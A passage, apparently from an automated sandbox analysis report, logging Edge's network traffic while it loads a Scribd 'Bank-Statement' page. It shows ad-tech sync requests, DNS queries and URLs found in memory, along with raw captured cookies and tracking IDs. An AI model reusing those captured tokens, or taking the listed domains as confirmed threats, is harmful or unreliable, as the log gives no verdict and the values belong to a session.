vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=6rz12gNwX1O3pDu1sHGwHOUM7XRU2BhNJPGxCPgJ6ABUiQ1VEU3pGOwF%2FAkcgFlREBCpVdBN6VUNxRlRBXypAbAV%2BUEB0RAYXBCtAO1NtH1JyRgNCBX5ObgZ%2BAkhwQAkQVndGbFB6BkVmWRNFVipDbQF%2BB0N3RwVABn5HaQZ%2FVhZzE1JRS2xCPgIqB0B8TFIRUHkWbgF%2FAkcnFgVGA3pVdBN5AkJxRAESAy9DawIuBUB0RAZLUHtHbgVtH1JyRgUWXnZHbFMtABMgQ1IWA3xHOwJ4BhJmWRNFVSgSbQYsURQiQgMXU3tEYAB8B0V1RVBRS2xCPgZ2BEcmQgVBXypHOgF%2FAkclFgcXUStVdBN5BhVwTABCUXwVbwkuB0ciFFdAUH4UOVNtH1JyQ1QXVXkWaQd6AkJ1QglFV3tEalV%2FVxJmWRNFVXhOaggrVUd3FlMQX3ZOOQkrAUgiRgFRS2xBbgJ%2FUkJwEAlHAnoTbwguCkh8EVRHU3pVdBN5BhQnQwhLAShAagQuAkcgF1NGVy1BOQZtH1JyQwBEA3lEOVMqCkJ2FgdFAytGOlJ2BUBmWRNFUnpEbwB8VhQmFwhHVH5PPAQsA0B8TQVRS2xBbFAuVxR8F1BAAyxPblcuUkElQggSUSxVdBN5BhUiRgVDU3lPaQkrBBZ2EwkXBn5GbFNtH1JyQVIVXnhHbwN9BRZ0FgFBA3pPbgUqUhVmWRNFUS9AYQR9BUJwEVQQUHYTYAl6ABQhFgRRS2xBalcqBhZwR1QVBntCbgEtBUd3RFVHBixVdBN5AUAlRwdEVywSO1MpUUlzQAVEUXlHOVVtH1JyQ1dKVyoWbwUqCxZzRANAVXpPbggsAEBmWRNFUHlFO1IpC0knE1AVUy1FbwB%2BAER2EAVROmJVP1U%2FQVJ%2BDhMaFAsiegspUhw3EB1RACoHKhN1EVJoV1YXFzw0N188Vh4wVwtRRWJVLUIfQRkyFFIKRXRVeh1tVAA0VwtRRWJVP0E%2FYBkgVwtRRWJVKlQrWgIhFkVRXWwfLEU%2FQEprWkQAFWACNlUqQQQrG1RdBCEad0Q8VgIUHEkWC2EEIV8sDAAlB0UdAjw%2BPAx6ClYxHFVOQzUBPEsaQBU2JkgdBAMWO0MgTlI5WRMaF
Source: global traffic	HTTP traffic detected: GET /match/bounce/current?DotomiTest=5402a9b51a881507&is_secure=true&version=1&networkId=72582&rurl=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D90%26gdpr%3D0%26gdpr_consent%3D%26uid%3D HTTP/1.1Host: prebid-match.dotomi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=250&expires=14&user_id=&ssp=onetag HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match/?gdpr=0&gdpr_consent=&int_id=168&uid=OPU302a4b7576414cc88aa10a5032312696 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /match/?int_id=19&google_error=3&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync.html?p=vidazoo&endpoint=us-east HTTP/1.1Host: eus.rubiconproject.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0ohIJQ32Es3GfyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0ohIJQ32Es3GfyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /i/ck/vidazoo?cid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114&redir=https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Diqm%26gdpr%3D%24%7Buser.gdpr%7D%26gdpr_consent%3D%24%7Buser.consentStr%7D%26us_privacy%3D%24%7Buser.usPrivacy%7D%26userId%3D%7BIQM_COOKIE%7D HTTP/1.1Host: pxl.iqm.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=iqm&gdpr=${user.gdpr}&gdpr_consent=${user.consentStr}&us_privacy=${user.usPrivacy}&userId=5aed0191-7bc3-46c9-bbf2-034d9ddce633 HTTP/1.1Host: sync.cootlogix.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=6rz12gNwX1O3pDu1sHGwHOUM7XRU2BhNJPGxCPgJ6ABUiQ1VEU3pGOwF%2FAkcgFlREBCpVdBN6VUNxRlRBXypAbAV%2BUEB0RAYXBCtAO1NtH1JyRgNCBX5ObgZ%2BAkhwQAkQVndGbFB6BkVmWRNFVipDbQF%2BB0N3RwVABn5HaQZ%2FVhZzE1JRS2xCPgIqB0B8TFIRUHkWbgF%2FAkcnFgVGA3pVdBN5AkJxRAESAy9DawIuBUB0RAZLUHtHbgVtH1JyRgUWXnZHbFMtABMgQ1IWA3xHOwJ4BhJmWRNFVSgSbQYsURQiQgMXU3tEYAB8B0V1RVBRS2xCPgZ2BEcmQgVBXypHOgF%2FAkclFgcXUStVdBN5BhVwTABCUXwVbwkuB0ciFFdAUH4UOVNtH1JyQ1QXVXkWaQd6AkJ1QglFV3tEalV%2FVxJmWRNFVXhOaggrVUd3FlMQX3ZOOQkrAUgiRgFRS2xBbgJ%2FUkJwEAlHAnoTbwguCkh8EVRHU3pVdBN5BhQnQwhLAShAagQuAkcgF1NGVy1BOQZtH1JyQwBEA3lEOVMqCkJ2FgdFAytGOlJ2BUBmWRNFUnpEbwB8VhQmFwhHVH5PPAQsA0B8TQVRS2xBbFAuVxR8F1BAAyxPblcuUkElQggSUSxVdBN5BhUiRgVDU3lPaQkrBBZ2EwkXBn5GbFNtH1JyQVIVXnhHbwN9BRZ0FgFBA3pPbgUqUhVmWRNFUS9AYQR9BUJwEVQQUHYTYAl6ABQhFgRRS2xBalcqBhZwR1QVBntCbgEtBUd3RFVHBixVdBN5AUAlRwdEVywSO1MpUUlzQAVEUXlHOVVtH1JyQ1dKVyoWbwUqCxZzRANAVXpPbggsAEBmWRNFUHlFO1IpC0knE1AVUy1FbwB%2BAER2EAVROmJVP1U%2FQVJ%2BDhMaFAsiegspUhw3EB1RACoHKhN1EVJoV1YXFzw0N1
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /f?apiKey=2111098132&r=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement HTTP/1.1Host: fid.agkn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8

Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log.5.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log.5.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log.5.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: load_statistics.db.5.dr, load_statistics.db-wal.5.dr	String found in binary or memory: www.scribd.comc2shb.pubgw.yahoo.comrS equals www.yahoo.com (Yahoo)
Source: load_statistics.db.5.dr, load_statistics.db-wal.5.dr	String found in binary or memory: www.scribd.comups.analytics.yahoo.com equals www.yahoo.com (Yahoo)
Source: load_statistics.db.5.dr, load_statistics.db-wal.5.dr	String found in binary or memory: www.scribd.comups.analytics.yahoo.com] equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: www.scribd.com
Source: global traffic	DNS traffic detected: DNS query: s-f.scribdassets.com
Source: global traffic	DNS traffic detected: DNS query: html.scribdassets.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: cmp.osano.com
Source: global traffic	DNS traffic detected: DNS query: js.stripe.com
Source: global traffic	DNS traffic detected: DNS query: a.pub.network
Source: global traffic	DNS traffic detected: DNS query: b.pub.network
Source: global traffic	DNS traffic detected: DNS query: c.pub.network
Source: global traffic	DNS traffic detected: DNS query: confiant-integrations.global.ssl.fastly.net
Source: global traffic	DNS traffic detected: DNS query: api.btloader.com
Source: global traffic	DNS traffic detected: DNS query: btloader.com
Source: global traffic	DNS traffic detected: DNS query: cmp.quantcast.com
Source: global traffic	DNS traffic detected: DNS query: pixel.quantserve.com
Source: global traffic	DNS traffic detected: DNS query: rules.quantcount.com
Source: global traffic	DNS traffic detected: DNS query: secure.quantserve.com
Source: global traffic	DNS traffic detected: DNS query: s.amazon-adsystem.com
Source: global traffic	DNS traffic detected: DNS query: c.amazon-adsystem.com
Source: global traffic	DNS traffic detected: DNS query: d.pub.network
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: wa.scribd.com
Source: global traffic	DNS traffic detected: DNS query: api.scribd.com
Source: global traffic	DNS traffic detected: DNS query: xspacet.wiki

Source: unknown

DoH DNS queries detected: name: api.scribd.com

Source: unknown

HTTP traffic detected: POST /log/dd HTTP/1.1Host: wa.scribd.comConnection: keep-aliveContent-Length: 172sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: */*Origin: https://www.scribd.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8

Source: svchost.exe, 00000008.00000002.3349173450.00000286CE200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 000003.log8.5.dr	String found in binary or memory: https://a.ad.gt/api/v1/u/matches/474
Source: 000003.log8.5.dr	String found in binary or memory: https://a.ad.gt/api/v1/u/matches/474?_it=freestar
Source: Reporting and NEL.9.dr	String found in binary or memory: https://a.nel.cloudflare.com/report/v4?s=2JTovVr2bk0Z5yAhPg0CUR4PA5%2ByexoIm0bgenm7bJ41lOkG0di5s%2BU
Source: Reporting and NEL.9.dr	String found in binary or memory: https://a.nel.cloudflare.com/report/v4?s=38aHHtivAyG8oH9eRjDbdD8a3SwWXH57r%2BU1hWje3KJ9KQPuG%2BR60kq
Source: Reporting and NEL.9.dr	String found in binary or memory: https://a.nel.cloudflare.com/report/v4?s=GcxAasQoCHRnHBolZC8sw0c7viCR%2FI0Vz3rptGEuImwXWhkw0kFpIY6%2
Source: Reporting and NEL.9.dr	String found in binary or memory: https://a.nel.cloudflare.com/report/v4?s=H0WFKFvDFlrWHv%2F0%2Flfu024M29bwSDOiEJyXY4rWBXfz%2F1n8UqXog
Source: Reporting and NEL.9.dr	String found in binary or memory: https://a.nel.cloudflare.com/report/v4?s=HhgBFsZwhbw0y8Hym%2Bs1wCq9BKcVdWIcMku7pCTnOnK2g48aNuqW%2FcM
Source: Reporting and NEL.9.dr	String found in binary or memory: https://a.nel.cloudflare.com/report/v4?s=au0BUwi46n8q7OXAL22QsG6jLj53e966%2Fyqtqlyw0xfrDQa0R5bQIqoGZ
Source: Reporting and NEL.9.dr	String found in binary or memory: https://a.nel.cloudflare.com/report/v4?s=shuhXSQhRGIdXvAX3dDP8Hr%2B68Xsyy4cnbHlp1EaugG%2FlcwJ72fYaQp
Source: 000004.log.5.dr	String found in binary or memory: https://acdn.adnxs.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://acdn.adnxs.com/dmp/async_usersync.html
Source: 000004.log.5.dr	String found in binary or memory: https://ads.pubmatic.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=156696&us_privacy=1-N-
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159196&userIdMacro=PM_UID&gdpr=0&gdpr_consent=
Source: 000004.log.5.dr	String found in binary or memory: https://ads.yieldmo.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://ads.yieldmo.com/pbcas?us_privacy=1-N-&gdpr=0&gdpr_consent=&type=iframe
Source: 000003.log8.5.dr	String found in binary or memory: https://ats-wrapper.privacymanager.io/ats-modules/6ff45175-4a3f-453a-8ee5-b2b22dd6355c/ats.js
Source: 000004.log.5.dr	String found in binary or memory: https://b1sync.zemanta.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://b1sync.zemanta.com/usersync/disqus?cb=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D33%26b
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://bard.google.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 000003.log8.5.dr	String found in binary or memory: https://c.amazon-adsystem.com/aax2/apstag.js
Source: 000003.log8.5.dr	String found in binary or memory: https://cdn-ima.33across.com/ima.js
Source: 000003.log8.5.dr	String found in binary or memory: https://cdn.browsiprod.com/bootstrap/bootstrap.js
Source: 000004.log.5.dr	String found in binary or memory: https://cdn.btmessage.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://cdn.btmessage.com/assets/bt-rlink-storage-OAPAZjOc.html
Source: 000003.log8.5.dr	String found in binary or memory: https://cdn.btmessage.com/script/rlink.js
Source: 000003.log8.5.dr	String found in binary or memory: https://cdn.btmessage.com/script/rlink.js?o=5714937848528896&bt_env=prod
Source: 000003.log8.5.dr	String found in binary or memory: https://cdn.confiant-integrations.net/gptprebidnative/202501291252/wrap.js
Source: 000003.log8.5.dr	String found in binary or memory: https://cdn.confiant-integrations.net/qaKtxuL1KR_2Tfmz0NmPaAudsBc/gpt_and_prebid/config.js
Source: 000003.log8.5.dr	String found in binary or memory: https://cdn.hadronid.net/hadron.js
Source: 000003.log8.5.dr	String found in binary or memory: https://cdn.hadronid.net/hadron.js?partner_id=474&_it=prebid
